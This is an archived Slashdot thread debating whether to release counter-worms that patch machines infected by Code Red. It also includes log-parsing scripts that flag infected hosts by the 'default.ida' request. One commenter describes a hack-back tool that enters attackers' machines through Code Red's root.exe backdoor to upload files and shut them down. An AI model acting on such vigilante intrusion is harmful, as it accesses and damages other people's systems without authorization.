    Unfortunately, this is not my house. If anything, the internet might be considered some kind of "private commons." It'll probably be illegal as hell for someone to write an anti-codered virus, but hell. Seeing how thousands of sysadmins, after extensive media coverage, STILL haven't closed the holes, they're wasting *my* bandwidth, *just* like spammers, eh?

    I say someone needs to write the anti-code red innoculation, and then someone else needs to write an anti-Outlook virus (one that turns off all those nasty features that make it so dangerous to mail servers around the world).

    Knowing our current justice system, however, the writer of "anti-code red" would be tracked down and hauled to court (and then jail) while the real perpetrators would continue to crank out virii after virii...

    Just an observation: I've noticed that a lot of the so-called "Chinese virii" (Code red, "fuck USA government, etc) all seem to have major flaws in their design, implementation, etc. Does anyone else get the idea that someone, somewhere, is getting an education from all this? I mean "Yes, the virus worked, but.. Ahh.. crap, forgot about that... I'll fix that next time.." It's almost as if these are HS/College course projects...

    --
    If you were me, you'd be good lookin'. - six string samurai
  259. Go ahead and try... (I really dont recommend this) by Anonymous Coward · · Score: 0

    Just remember to say "Hi!" to Max Vision when you are in the slammer....

  260. Re:Its entirely possible by Anarchos · · Score: 1

    No, it's shooting a gun at people who are firing their guns at random: it's just a matter of time until they hit someone else.

    --

    "A good conspiracy is an unprovable one." -Conspiracy Theory
  261. Already Happened, I Think by Prof_Dagoski · · Score: 2

    I remember seeing a /. blurb about just such a thing. If I remember right, after it invaded the system, it patched a security hole, copied itself onto whatever removable media was in the computer and deleted itself. Unfortunately I couldn't find the article in the archives.

    In the meantime, this sort of program is pretty trivial, aside from invading a secured host. I've heard talk in various organizations about writing maintenance viruses to crawl the network's hosts and do whatever updating needed to be done. Such ideas are usually tanked because everyone's a little nervous about independent critters running loose, doing things on their computers. Besides, there are more reliable automated ways to install patches and updates. In the meantime, writing one of these as a good samaritan deed would likely get you prosecuted because, 1) You don't own the computers you're infecting 2)You don't know what the configuration is on the machines and your virus might screw 'em up, 3)What if you missed a bug in your code?

  262. ...but it's a bad idea by Sun+Tzu · · Score: 3, Insightful

    After all, how do you tell a 'good' virus from a bad one? It might be harder than you realize, if you're a virus scanner, for example. There is an article here that deals with some of the other issues that 'good' viruses raise.

    1. Re:...but it's a bad idea by the_2nd_coming · · Score: 1

      no worries as long as it is a worm that exploies a security hole, it will just pass on by the virus scan.

      --



      I am the Alpha and the Omega-3
  263. OT:Why fight the effect instead of the cause? by the_crowbar · · Score: 1

    I find it very interesting to watch these worms/viri spread. If we could get companies to fix the design flaws in their software then these scenarios would occur very less frequently.

    --
    Have you read the Moderator Guidelines
  264. Re:There is another way... by Ranger+Rick · · Score: 1

    I did the same thing, and so far the only e-mail I've gotten is from one person who asked me to "send the e-mail to the proper abuse address". Freakin' idiot. If you'd admin'd your machine properly in the first place, you wouldn't have been getting e-mails from me!

    Oh well, hopefully someone who's gotten an e-mail has done something about it. Not holding my breath though. =)

    --

    WWJD? JWRTFM!!!

  265. love Sircam and looking for .aq by pjones · · Score: 1
    I've received sircam documents from every contient except antarctica. just yesterday i got them not only from .mx .ca .edu .de .fr .ru and .kr but also from .ga (can you guess that one?) and .cl i usually get a .in about once a week minimum since the virus started. i have so many new friends!

    but when will i get a .aq?

    --
    Certified Black Helicopter Pilot *** Unwitting Dupe of One World Gov'ment
  266. Not just that by einhverfr · · Score: 2
    Worms are not to be messed with that way. The first worm was released as a self-replicating software update (by Intel iirc). However, partway through their network, the payload became truncated, though it continued to replicate. The result was that the worm took down a good portion of their network.

    With the internet, this is a greater danger because the number of machines is much larger...

    --

    LedgerSMB: Open source Accounting/ERP
  267. Virii ? me tooo ! by GeView · · Score: 1

    hey guys can you doo me a favor ? please mail me the latest virii you have, or also older ones, you got by mail.
    i'm realy intressted in them.
    please mail them to prax2000@gmx.net
    thanks. also if you know a Virii database, would be pretty cool you could tell me about it.
    Thanks.

  268. Fighting fire with fire is not always the solution by _bug_ · · Score: 1

    There have been a lot of discussions on this topic over the past couple of years on several security mailing lists that I either belong to or frequently browse the archives of. While it is certainly possible to do so and it would solve some headaches and the irony of it all would make for a great story, it's just not something that should be done. System administrators need to learn that they must actively protect their system by keeping up to date on patches as well as taking other steps (IDS,Firewall,Log Monitors,Ect..) to keep their systems secure. By creating a counter-worm system administrators are not being taught the hard lessons learned when their system is attacked and infected. Administrators either start to rely on counter-worms or they simply never become aware that their system was comprimised because the counter-worm has already patched things up. Counter-worms do not promote good administrator habits and is only helping to promote the PROBLEM (lazy/unaware sysadmins) rather than the SOLUTION (education and motivation to keep a system protected). And there's another reason that I just mentioned. What happens when a counter-worm patches up a hole before a systems administrator sees it? It's possible that after the initial infection by the worm, the system was further comprimised by other crackers. But the counter-worm wouldn't investigate such possibilities, instead it just patches the initial hole. Any new backdoors implanted by crackers AFTER the initial infection would go undetected. This can't be more obvious than with Code Red II. Sure if you become infected, you can delete root.exe and explorer.exe and patch up your IIS system. But what about what went on between the intial infection and when you patch the system? If the web server log files have been erased or altered in any way, you have nothing to go on to tell you what was done to your system. The final solution becomes a full format and reinstall of the system from a (hopefully) clean backup. Counter-worms are only counter-productive to the security of computer systems and the Internet. And I haven't even begun to touch upon the legal and ethical problems of using a system without authorization. Not every system administrator out there is going to be happy that you're rooting around their system after it was r00ted. Some (MOST) are going to suspect you did more harm than good. I've had personal experience with this and know it to be a fact. So stay away from writing counter-worms. Instead write an article informing people about the dangers and what to do to fix the problem. Send it to a local paper, send it to an online forum or magazine. You'll do far more good that way than by launching your own counter-worm.

  269. Re:That's the worst idea I've ever heard by arcade · · Score: 2

    While what you say is factually true (spoofing the source is tricky), the principle of not fighting fire with fire is still reasonable. Whenever you automatically respond to an attack with another attack you open up the potential for an explosive situation.

    Yes, I agree totally with that principle. I do however prefer to use factual arguments and not bullshit like the commentor that I responded to did.

    --
    "Rune Kristian Viken" - http://www.nwo.no - arca
  270. Those of us who choose to use Linux... by 9sPhere · · Score: 0

    ...have already seen such things. The "cheese" virus closes backdoors, and the "ramen" virus pollitely informs you you need to update your version of Red Hat to fix security issues. If IIS and Outlook users want to write code to fix virus-related problems, thats fine. I'm sure theres a job waiting for them in Redmond.

    --
    It is pitch dark. You are likely to be eaten by a grue.
  271. How recognize the good and the bad ? by zeux · · Score: 1

    If you do that, how would our anti-virus software (like norton) make the difference between a good and a bad virus ?

  272. Re:What if my 'default.ida' was a program? by gamorck · · Score: 0

    Thats EXACTLY what I have been trying to do! You can find a more detailed explanation of my code at http://24.18.6.248/default.asp (latest news update)

    I just cannot get the damn thing to work outside the test environment. Email me if you want more info or want to check out the source.

    Gam
    "Flame at Will"

    --
    I love idealists not because I am one, but because they make life bearable for pragmatists such as myself.
  273. Re:That doesn't solve the problem. by hizzoyt · · Score: 1

    > A: Microsoft needs to release more secure OS/Web servers.

    This *may* be the case, but I think you're falling into the ever so common (and closed-minded) "MS BAD, GNU GOOD" mindset. Yes, open source is a better programming method.. But excellent programs aren't written in a day. IIS is currently standing the "test of time" right now, and there is a huge bug in it, just as there have been huge bugs in [insert your favorite open source program here]. I would bet the next major release of IIS will not have this security hole.

    > B: People need to patch their system themselves or take it off the net.

    Agreed.

    -Hoyt

  274. entirely possible? yes. Likely scenarios below. by vladkrupin · · Score: 1

    It is possible, as in 'doable' - that's true. But think about the implications.

    First being technological. Say, you have a 100 or so viruses going around. Would you scan all your neighboring subnets and infect all the machines you find with an 'anti-virus' like that? If CodeRed by itself creates bandwidth issues and headaches (think AT&T @HOME), think of a 100 or so 'anti-viruses' contributing in the same way at the same time!

    Second being ethical. If you are hacked once, do you want another 100 people to hack your computer to 'fix' the damage someone else has done? Or, better yet, How would you like people hacking your machine in a 'benign' fashion because they were pursuing a good cause, and hacked your computer to vaccinate it? The cause is noble - it might prevent the spread of the real virus, were you ever to be infected by it, but how much do you care about how good the intentions of the one who hacked you were?

    Last, but not least, is legal. What if all those 'anti-viruses' essentially DOS your box trying to 'fix' it? Can you sue the one who sent you the anti-virus? What if something went berserk in the code of the anti-virus (yeah, I know, software does not have bugs, but what if it happens), and wipes out your whole server, while it could be fixed fairly easily otherwise? Can you sue the creator? Probably yes. After all, the 'anti-virus' virus did not present you with a click-through license that disclaimed any liability or even gave you a choice to *not* be infected.

    Just a few thoughts that came to mind. There are more. If you can think of some, post below!

    --

    Jobs? Which jobs?
  275. Re:Why do favors? by brlewis · · Score: 1, Flamebait

    Seriously, do you have any data showing that Code Red does "bog down" traffic globally?

    There's never been a worm that exploited an Apache hole the way this IIS hole is being exploited. That's not flamebait; that's a fact.

    It's been years since any remote vulnerability has been discovered in Apache. That's not flamebait; that's a fact.

    Are you willing to make a new "nice guy" worm every time a new evil IIS worm comes out? If not, then you would only lull IIS admins into a false sense of security by fixing their problem for them this time. Let them deal with it; it's a valuable educational experience.

  276. "Cheese Worm" on Linux Did This by Lethyos · · Score: 2

    An article on /. came up a while ago about a worm that did just this called "Cheese Worm".

    It fixed a back door created by another worm then goes looking for other systems infected by the l10n worm.

    Yes, it's a novel idea. No, it's not the solution. Not everyone runs the same distro/OS and not everyone has them configured the same.

    It would take an amazing amount of design and coding work to create one that intelligently fixed configuration problems without creating more nightmares for the admin, and even then, it's likely to cause more problems than it fixes. Then it would no longer be a worm - it'd be a "service pack". :-)

    --
    Why bother.
  277. Re:Why do favors? by SuiteSisterMary · · Score: 2, Insightful

    This is NOT an "IIS" hole. That's a fact. This is an Indexing Server hole. That's a fact. Comparing this to 'apache never having an exploit like this' is wrong. That's a fact. Comparing this to some apache module or CGI script being exploited, which has happened, and will continue to happen, is accurate. That's a fact.

    --
    Vintage computer games and RPG books available. Email me if you're interested.
  278. MSFT trains users to click virus attachments by brlewis · · Score: 1
    And while we're working on Code Red, can we send a large man to the home of my latest Sircam senders and politely "ask" them to stop clicking on virii?

    I was surprised when a virus got sent from someone I thought would know better. After thinking it through, it's not at all surprising.

    The problem is that daily use of MSFTware trains users to click on such attachments and ignore the warnings. A Word macro should only be able to affect the document it's in. Likewise an Excel macro. Yet MSFT engineers took the lazy route and enabled unlimited powers in files that should be data, not programs.

    The result is that people who exchange documents and spreadsheets via e-mail are (correctly) warned with a popup box every time they open one. They proceed anyway, because that's what they have to do. Daily habit trains them to ignore the warnings.

  279. Virii that fight Virii by Anonymous Coward · · Score: 0

    ..why does all this remind me of the problems that Australia had with rabbits, then cats, then other animals introduced to fight the original problem plant/animals there. more Virii will slow down the net, and everyone will have to have programs installed on their computer to filter them out just to surf the net! (wait, we have this already!) but then, all these Viruses & cures remind me of the classic radar gun, radar detector loop. the people who make the guns & the detectors will be the ones who profit! so, lets see. I cut my programmming teeth by writing viruses, then, when I get really good, then I charge people to innoculate their computers. sounds like I am creating $$ out of thin air! -Kevin

  280. I Hope You Keep Bail Money Near Your Gun by virg_mattes · · Score: 2

    > Yes, but criminal trespass (a crime to which an American citzen
    > can respond with deadly force) and cracking a webserver are of the same magnitude.


    Even if I agreed that criminal trespass and cracking a webserver are the same (they're not, in either a legal or ethical sense), you're way off on the justification for deadly force, at least in the laws of most U.S. jurisdictions. First, cracking a web server is like picking the lock on your front door, which is breaking and entering, not criminal trespass. Second, you're not legally allowed to use deadly force against someone unless they are threatening your life or well-being. Since someone can commit criminal trespass when you're not present, if you drilled someone just because they broke into your house while you were at work, you'd be guilty of second-degree murder. In fact, if you shoot someone who breaks into your house while you're at home, the burden of proof for threat still rests with you (basically, you get "convicted" of justifiable homicide) or you're still going up the river.

    Virg

    1. Re:I Hope You Keep Bail Money Near Your Gun by virg_mattes · · Score: 2

      > I have the right to self defense, and if someone is in my home
      > on some unknown mission I'm not interested in letting him do whatever
      > and then let the law take care of it. I'm going to stop him, doing
      > whatever it takes to do that.


      This is the very essence of why vigilantism is bad. If someone is in your home on an unknown mission, you seem to assume that your only recourse is to kill him. You don't even consider the possibility that anything less than murder is possible or even desirable.

      Consider this: you hear someone in your house, rummaging through your stuff. You stand at the top of the stairs (or around a corner from said stairs) and shout, "I hear you, and I have a gun. If you don't leave, I'll shoot!" The burglar runs out the door and into the night. Now, if you consider this approach to be unacceptable because the burglar will get away, but you don't consider it unacceptable to shoot him rather than give him the opportunity to run, then you have a horrendously deranged sense of personal property.

      So the question becomes not whether you consider it within your rights to shoot someone in your house, but whether you consider the sanctity of your things more important than a human life. Consider that the next time you argue about your "right" to kill someone because of your indignation.

      Virg

    2. Re:I Hope You Keep Bail Money Near Your Gun by Dehumanizer · · Score: 1

      So shoot the legs. Simple.

      --
      The Tlog - a technology blog
    3. Re:I Hope You Keep Bail Money Near Your Gun by ihawk · · Score: 1

      we have a right to "life, liberty, and the pursuit of happiness". Requiring law-abiding citizens to allow any brigand to boldly stroll into a person's house and demand all their posessions denies me my rights

      Go back and check your history again. The "life, liberty, and pursuit" etc is in the Declaration of Independence which is not a basis of law. The constitution doesn't say squat about it, not even in the Bill of Rights. You only have a "right" to what the people with the power let you have.

    4. Re:I Hope You Keep Bail Money Near Your Gun by brunson · · Score: 2, Informative

      Colorado (for positive) and many other states have a "make my day" law. If someone breaks into your home you can automatically assume you are in danger of grevious bodily harm or death and can shoot dead on the spot.

      --
      09F911029D74E35BD84156C5635688C0
      Jesus loves you, I think you suck
    5. Re:I Hope You Keep Bail Money Near Your Gun by Kryptonomic · · Score: 1
      So, you think I can't hold on to my property unless I'm personally prepared to defend it by deadly force?

      I'm glad I don't live in your society...

    6. Re:I Hope You Keep Bail Money Near Your Gun by virg_mattes · · Score: 2

      > If someone comes into my house and wants to take all my stuff,
      > I'm going to shoot him and let the D.A. decide whether to prosecute.


      And I certainly hope that DA decides to have you arrested. See below for my reasoning.

      > In this country, as a wise man said, we have a right to "life,
      > liberty, and the pursuit of happiness". Requiring law-abiding citizens
      > to allow any brigand to boldly stroll into a person's house and demand
      > all their posessions denies me my rights. If pointing a loaded weapon at
      > him doesn't make him realize the error of his ways, then that's not my problem.


      This is a straw man argument in the extreme. Firstly, when a brigand "strolls into a person's house and demand[s] all their posessions", we've gone beyond criminal trespass into assault or robbery. This is a credible threat to safety, which is grounds for justifiable homicide, so it's outside the scope of my original argument (and, it's a ridiculous extension of my argument to say that I think people should be allowed to steal from you with impunity because I accept that proof of justifiable homicide is necessary).

      Secondly, you don't specify what happens when you confront the assailant but again, if he doesn't "see the error of his ways", then it's assault and therefore falls outside the scope of my original argument. The real question is what happens if, for example, the burglar's reaction is to run? As I stated in another post, shooting someone for threatening your safety is justifiable, but shooting someone for stealing your stuff is not, nor is shooting someone who is trying to escape when confronted while stealing your stuff. So, as I said before, if your justification for shooting the invader is, as you stated, "someone comes into my house and wants to take all my stuff", then you deserve to be incarcerated. You should consider lethal force as a last resort, only if your personal safety is endangered, and then only if and when other possible alternatives have been exhausted. As I said in the other post, letting the thief get away is inconceivable to most vigilantes, but that's a much better answer than killing someone when you don't have to do it because you're indignant about being burgled.

      Virg

    7. Re:I Hope You Keep Bail Money Near Your Gun by wheany · · Score: 1
      Even if I agreed that criminal trespass and cracking a webserver are the same (they're not, in either a legal or ethical sense), you're way off on the justification for deadly force, at least in the laws of most U.S. jurisdictions.
      Well, I don't agree that crashing someone's webserver is equal to using deadly force, in legal or ethical sense.
    8. Re:I Hope You Keep Bail Money Near Your Gun by Kintanon · · Score: 2

      I believe many of us work off of the assumption that if the person is committing the one crime (breaking and entering) then they will be willing and able to commit a more grievous crime (theft and assault), and then possibly a yet more serious crime (murder) in order to cover their tracks. I for one am not going to wait for them to get around to step 3. If they are in my home illegally I have to assume that they wish to kill me, in Georgia it's considered polite to give one warning shot before killing anyone who is in your home, a shouted warning that you have a gun is acceptable. So I imagine we would all warn the intruder first. But if they didn't get the hell out of my house right then I'd certinaly kill them.

      Kintanon

      --
      Check out JoshJitsu.info for Brazilian Ji
  281. Re:Don't be a part of the problem - cliff's notes by big_cat79 · · Score: 0, Troll

    Blah blah blah --- two wrongs don't make a right --- blah blah blah

    --

    BigCat79

    "The dead have risen and are voting Republican!" --Bart Simpson
  282. Think about traffic by n-baxley · · Score: 1

    The real harm from Code Red I was the amount of traffic it generated. Your white hat worm would cause the same traffic problems if not more since it wouldn't know when to stop.

  283. Less intrusive solution by coyote-san · · Score: 2

    There are two problems with an anti-worm:

    1) there is an obvious, less-intrusive solution to the problem. Log the IP addresses, notify their ISP, and (assuming the ISP is on the ball) they "go dark" until they clean up their act. It's not like it's hard to verify the information provided to the ISP.

    This will guarantee that 1) that system infects nobody else and 2) the owner is aware of the problem.

    2) The second problem is contained in the comments above - quietly patching the system does nothing to undo the damage (it might close a few doors, but *anyone* could have run *anything* on that system while it was open) and does not teach the owner to take responsibility for their system.

    However, this requires the ISP to take action. To be honest, some of these systems are starting to remind me of car alarms that run for hours (e.g., because of high winds) and the owner can't be bothered to shut them off. Breaking some glass on that car is illegal... but few cops or DAs would consider anger vented at car alarm which kept neighbors up all night a crime without a compelling mitigating factor.

    --
    For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
  284. So the solution would be... by Orlando · · Score: 1

    I wonder if you could fit a whole linux distro into a virus? Solve the root of the problem.

    orlando.

    --
    -= This is a self-referential sig =-
    1. Re:So the solution would be... by Borogove · · Score: 1

      How about: Virus infects IIS machine, makes that machine download and install the linux distro. Then it installs Apache, copies all the IIS files over, and makes a copy of the distro available too. Finally, it starts sending out copies of the virus. Any newly infected machines can get a copy of the distro from their 'parent'.

      --
      There has been a major scientific break-in
  285. Not a good idea.. by Tricot · · Score: 1
    There has been considerable discussion about this on the BugTraq mailing list.

    It has been discussed before for other vulnerabilities as well. But the consesus is that this is a bad idea for a number of reasons, and they can be summarized as:

    • Liability: Most viruses and worms cause problems because they're wrtten poorly. If the "anti-worm" doesn't behave as expected on all systems, and causes damage, the person who wrote it could be liable.
    • Legality: Even though it's well intentioned, it's still legally the same criminal act as the original virus/worm writer commited. If the worm does harm (by breaking somebody's app) then there will likely be criminal as well as civil charges filed.
    • Morality: Fundamentally, this isn't the way the white hats behave. We, as a community should help others fix the problems, but shouldn't be using the techniques of the black-hats to do it... including exploiting security holes and mucking with other people's machines.
    It's certainlly a tempting idea, especially for thorny problems like CR, and CRII, but it's also a real minefield.

    -- Mitch
  286. Virus that installs linux by feed_me_cereal · · Score: 1

    I've got an even better solution that will insure these viruses stop spreading. We create a virus that exploits the CODE RED back door and "patches" NT by installing linux over it. The ultimate security patch! ;)

    --
    "Question with boldness even the existence of a god." - Thomas Jefferson
    1. Re:Virus that installs linux by arielb · · Score: 1

      problem is you replaced openbsd too! idiots!

      --
      ---
  287. Re:Great business plan. by 1000101b · · Score: 1

    This is almost the same thing I said in my post. You wouldn't want it to propagate via the worm technique though... it must remain strictly confined to the intended network (otherwise you might fix potential clients.) On a side note, I wouldn't be surprised if the virus writer(s?) worked for a company that offers this type of service. Look at eEye: they found the vulnerability, got credit from Microsoft, and make money with vulnerability assessment services. Corporate ethics: Make it hard to tell the good guys from the bad.

    --
    Live wrong, impostor.
  288. There are parallels - it has been done before. by Utopia · · Score: 1

    A major security hole was discovered in Red Hat 7.?? (Don't remember the details). Soon after mysteriously a virus appeared on the web which fixed bug.

    The Max Vision of whitehats.org found himself in trouble for writing a worm which patched systems for the BIND hole.
    Read more about it at http://www.securityfocus.com/news/203

  289. R U Nuts? by hawkbug · · Score: 1

    Yeah, by making a friendly virus, you're closing the back doors, but who cares really? A friendly virus would be *just* as damaging bandwidth wise, would it not? So, you'd be adding another damn virus to the mix, eating up more and more bandwidth... do the world a favor, and DON'T try to do this.

    1. Re:R U Nuts? by Tower · · Score: 2

      I'm definitely against the idea of another virus/worm, but if the anti-worm resided on a server and only activated in response to a request from an infected server (the reply to the infected server caused the cleanup and patch, plus installed the anti-worm)... it couldn't propogate without provaction, and would slowly eliminate the infected machines. Bandwidth wouldn't go up, since the anti-worm isn't active, only reactive (and only makes one request per attack, which should then prevent further attacks by the attacking box).

      --
      "It's tough to be bilingual when you get hit in the head."
  290. Probably a bad Idea, but I like it by FrostyWheaton · · Score: 1

    If the OSS community could do something like this it might boost their image, but I'm afraid it might only go to promote the connection of OS with black hats/Piracy/virii etc.

    From a practical viewpoint anti-code red will be treated like DeCss, not in itself evil, but it could be used for evil (DMCA aside, which declares it completely evil (I love the government)). A "virus" is a "virus" to most people, and you can bet dolars to doughnuts (KrispyKreme of course) that no news agency will be quick to use the term "anti-virus" or "vaccine"

    And on another level, it might be a nice object lesson for the people running MS servers that it might be time to try to maybe tighten up some of the massive security holes in their networks. I dunno, stuff like Code Red and SirCam (Someone sent circam to my CsMajors mailing list at school) only go to prove that most people do not devote most of their mental cycles to what they are doing while at the computer

    --
    Comments should be like skirts. Short enough to keep your attention, but long enough to cover the subject
  291. Re:That's the worst idea I've ever heard by arcade · · Score: 2

    Anyone who uses a script like that is crazy. Next there will be a Code Red III which spoofs the originating IP and then your perl script becomes an unwitting part of a distributed DOS attack... Then YOU go to jail instead of the Code Red author.

    Ohmy, how fscking stupid is it possible to be. Let me give you the hints one by one.

    To attack a webserver you need to use http..

    http uses tcp

    tcp has something called initial sequence numbers

    initial sequence numbers have been randomized rather good in more "recent" (think 97->now) operating systems.

    spoofing a connection via tcp is almost impossible.

    --
    "Rune Kristian Viken" - http://www.nwo.no - arca
  292. Re:That's the worst idea I've ever heard by cburley · · Score: 2, Interesting
    the principle of not fighting fire with fire is still reasonable

    Are you unaware that firefighters often do use fire to fight fire?

    (They burn away strips of forest to prevent a forest fire from being able to cross the strips and attack, say, neighborhoods.)

    I think your comment in the next paragraph is right, though, because it illustrates the weakness of the forest-fire analogy.

    In particular, while fighting viruses on the Internet today might be more like fighting a forest fire -- in that the trees are not "smart" at fighting fires, you want to save as many as reasonably possible, yet you're not averse to burning a few more down yourself to avert a larger disaster -- the overall goal should be to convince Internet sysadmins to do for their systems what homeowners and business owners have, over the centuries been encouraged to do: be the first line of defense against fires starting, or offense against fires spreading, etc.

    (Think of elements of "progress" here -- new homes likely have smoke alarms, people are strongly encouraged to report fires quickly, flammable materials are less widely used, buildings are designed for quick exit in the event of fire.)

    Until the Internet resembles something more like today's upscale suburban neighborhood (in its security against fires) than a dry, dense forest, I suggest that fighting fire with fire does have utility, if thoughtfully (rather than arbitrarily) applied by experts.

    --
    Practice random senselessness and act kind of beautiful.
  293. There is another way... by FatOldGoth · · Score: 5, Insightful

    ...though it's not quite as effective.

    Since the start of this week, I've been running a Perl script as an hourly cron job that parses my firewall logs, gets the originating IP addresses of any Code Red scans, does a reverse lookup, attempts to extract a meaningful domain name and then mails a polite notification to postmaster and webmaster at that domain. The notification contains a link to the MS page with the details of the relevant patches.

    Since doing so, I've had a number of responses from people thanking me for pointing out the problem and confirming that their server has now been patched. The response rate is only about 1%, largely due to the fact that around 90% of the problem servers are on dial-ups/cable modems/DSL, but it's better than nothing.

    I'm not advocating that everybody, or even a large number of people, do this, as the amount of traffic it would generate would only add to the problem, but it seems like a more legal solution than another, white-hatted, worm.

    --

    I would be a paid subscriber if Taco and Hemos weren't such cunts
    1. Re:There is another way... by Anonymous Coward · · Score: 0

      The problem with reverse DNS lookup is that it doesn't work much of the time. I've resorted to goint to ARIN to see who owns the IP.

    2. Re:There is another way... by Anonymous Coward · · Score: 0
      Sigh. Never send Perl to do a shell script's job.

      That's fine and good if you want it to look *pretty*. But what if you want a simple, quick hack?

      grep `date +%d/%b/%Y` /usr/local/apache/logs/access_log | grep default.ida | cut -d\" -f1 | tr "-" " " | sort | uniq -w12

      One-liner, baby. :) No special interpreter, no dups, and sorted. Gives up everything from today.

      If you wanted them all, period:

      grep default.ida /usr/local/apache/logs/access_log | cut -d\" -f1 | tr "-" " " | sort | uniq -w12


      http://www.greslin.org/codered2.html

    3. Re:There is another way... by Anonymous Coward · · Score: 0

      Can you post your Perl script here for us please? I don't feel like learning Perl today.

    4. Re:There is another way... by FatOldGoth · · Score: 2

      Cool! Thanks for the tip! I'll modify the script to send the addresses to them when I get back to work tomorrow.

      --

      I would be a paid subscriber if Taco and Hemos weren't such cunts
    5. Re:There is another way... by bear_phillips · · Score: 1

      Here is a simple script to parse out the offending IPs and timestamp on linux/apache systems. It removes dupes too. #!/usr/bin/perl # open the log file open(LOG,"/usr/local/apache/logs/access_log"); while ($line = ) { #Get the code red log lines if ($line =~ /default.ida/) { # Split out just the IP and time ($validstuff,$junk) = split(/\"GET/,$line); ($ip,$time) = split(/- -/,$validstuff); $ip =~ s/ //g; #Put them in a hash to get rid of dupe IPs $ips{$ip} = $time; } } # Print it back to the screen @keys = keys %ips; foreach $tmp(@keys) { print "$tmp $ips{$tmp} \n"; }

      --
      http://www.windmeadow.com/
  294. Watch out for Federal Computer Crime Laws by werdna · · Score: 2

    The Electronic Communications Privacy Act and the Computer Fraud and Abuse Act combine with state "Blue Sky" computer crime and fraud law to make this tactic amazingly dangerous for anybody who does this. G-d forbid the license should (accidentally or otherwise) harm any system in any way in so doing -- the damages and liability could be enormous, and there may well be substantial criminal responsibility as well.

    In short, anybody who even begins to perform a passive security audit of a system of another without having obtained written consent TO DO EVERYTHING THAT WAS DONE (exceeding authority can be a crime as well as obtaining authority in some cases) risks the slings and arrows of abusive attorneys.

    It would be nice to have a vigilante virus out there -- the guy who wrote it might even become some kind of folk hero. Even so, he might spend years in jail for his good deeds, and g-d save him if he messed up.

  295. Re:Don't be a part of the problem - Cisco fix by Anne_Nonymous · · Score: 2, Informative

    Also affected are Cisco 678's.

    See http://www.qwest.com/dsl/customerservice/coderedvi rus.html

  296. it has already happened by node3667 · · Score: 2, Informative

    The virus nVIR A was propagating the macintosh world.(1990) Someone created a second nVIR B to counter attack the nVIR A, to replace A with itself.

    There were bugs into nVIR B, making the computer part unusable. and the nVIR B could propagate on a computer which wasn't infected by nVIR A.

    Not everybody was happy :-(

    bye

  297. Something useful by Anonymous Coward · · Score: 0

    What about something like this?

    Put in you apache home directory a new default.ida archive with this lines:

    Now make .ida extension parseable by php.

  298. Already been talked about, already been done by plcurechax · · Score: 1
    It was already talked about in the Interesting People mailing list in reference to the book, Shockwave Rider.

    Been there, done that. The Cheese worm for Linux does basiclly the same sort of thing.

    Still it's a bad idea. For legal reasons: unauthorized is unauthorized even with good intent. For complexity reasons: the worm/ virus may break something else or have unintended conquences like the Robert Moore Jr. worm in the 1980s. Common sense: Encouraging bad system admin habits, that is to be lazy, is a very bad idea. Think of a silly analogy: like breaking in to fix a faulty burgary alarm is a bad idea.

  299. Re:Its entirely possible by starseeker · · Score: 2

    I'd say a stranger in my house DOES pose a threat to my family. I don't know who this creep is, or what he intends. If my family is at stake you'd better believe I'm going to play safe. I might not shoot the instant I see him, but I'd sure take aim and if he tried to flinch without my permission he's history.

    --
    "I object to doing things that computers can do." -- Olin Shivers, lispers.org
  300. Attention is Money by ka9dgx · · Score: 2
    Attention is money, welcome to the true new economy.

    Perhaps system administrators have other things to do other than keep applying patch after patch to the rubber dinghy Microsoft built as a web server. As long as we have good backups, why bother until something goes wrong? It's a waste of attention to keep patching things, not to mention the odd service pack disasters that make things worse than before.

    Don't go blaming the system administrators who have better things to do, put the blame right where it belongs, in the developers lap. They should test their code, and not count on us as their test lab.

    --Mike--

  301. Re:Its entirely possible by Anonymous Coward · · Score: 1, Funny

    And I'd say that basically nothing bad will happen to me; I'd just get a couple hundred hosts a day knocking on my door and not getting in.

    But what if you were an @home customer? Then you'd say, "well, I'd be pretty much fucked and could get 1/10 the normal bandwidth from my broadband.". I don't know Tim, but he might say, "you fucking idiot, why are you with @home?".

  302. It's already been done by granto · · Score: 1

    It's funny but I did this as part of a science fair project in early 1997. It made it to the Canada-Wide Science Fair that year and I even won a couple of awards for it. Admittedly virii were very different in 97. My system only dealt with non-resident .com and .exe attacks, but it still worked.

  303. independence day by gladysmalone · · Score: 1

    every july 4 at the retirement center they play the movie independence day some of the people don't like it but i thought it was good but even though it wasn't very patriotic. people always tell me to watch out and not catch computer viruses and i always think about that movie because they used a good virus if it was good enough for them i guess it would work. i really liked the black man in that movie normally they scare me but he seemed like a nice young man even though his wife was a tramp. lois' husband ran off with a woman like that but that was years ago and she died of heart failure a couple years back

    sean says i have to get off the computer now so he will send this for me goodbye your friend gladys malone

    1. Re:independence day by Anonymous Coward · · Score: 0

      Is this a new kind of troll? I'm impressed!

  304. Great Idea!!!! by feed_me_cereal · · Score: 1

    Thats a great idea! The only way to get incompetent sysadmins to fix this would be to do it for them, right? Since they obviously aren't doing it themselves. I doubt it would even be that difficult to write! Perhaps you could write other viruses which patch vulnerable machines as well!

    --
    "Question with boldness even the existence of a god." - Thomas Jefferson
  305. HP Printers: Who can fix THEM? by skyknytnowhere · · Score: 1

    I'd pay good money for a script that would somehow protect HP printers from infection, or at least create a temporary firewall of addresses infecting them.

    This is the quiet side of the issue, because the printers can't infect other sites. But a printer also can't be power cycled remotely (except if you've somehow forseen this problem). The printers are also unlikely to be patched, so their security holes will exist long after this current worm is done sucking bandwidth. And I really hate walking across lab, up 3 flights of stairs, to restart the printer.

    skye

  306. Re:Because of this the internet is dying.. by Anonymous Coward · · Score: 0

    Yup, the Internet, *BSD, fair use, freedom, and even Slashdot. Why go on living?

  307. The AntiVirus I wrote... by gamorck · · Score: 0

    Yeah I wrote something - its a set of scripts that work with IIS. I have a web app that will parse through IIS logs and dump a report back to you with a nice little graph.

    I've developed a script - though its not fully functioning yet outside my test environment - that will detect a code red attack and immediately strike back by using root.exe to upload serveral files using tftp.

    These files are used in an attempt to automatically patch the server and remove the security holes left by code red.

    Unfortunately it has yet to actually succeed over the web. Most of the attackers seem to experience problems when it comes to shutting down. My defense routines automatically try two different ways of shutting down the remote machines (both of with work in my internal network between different machines) - but I cant quite get them to work on the machines on the web.

    It may because of the increased security of NTFS. As my routines are only designed to work with security lax FAT formatted systems - that be part of it.

    Anyway - Code Red is only getting worse. I've had over 2100 attack attempts since saturday. Day by day the daily number is increasing (600 today alone). This has got to stop.... and I do not believe it will until somebody writes a worm like code red that patches the servers instead of opening them up.

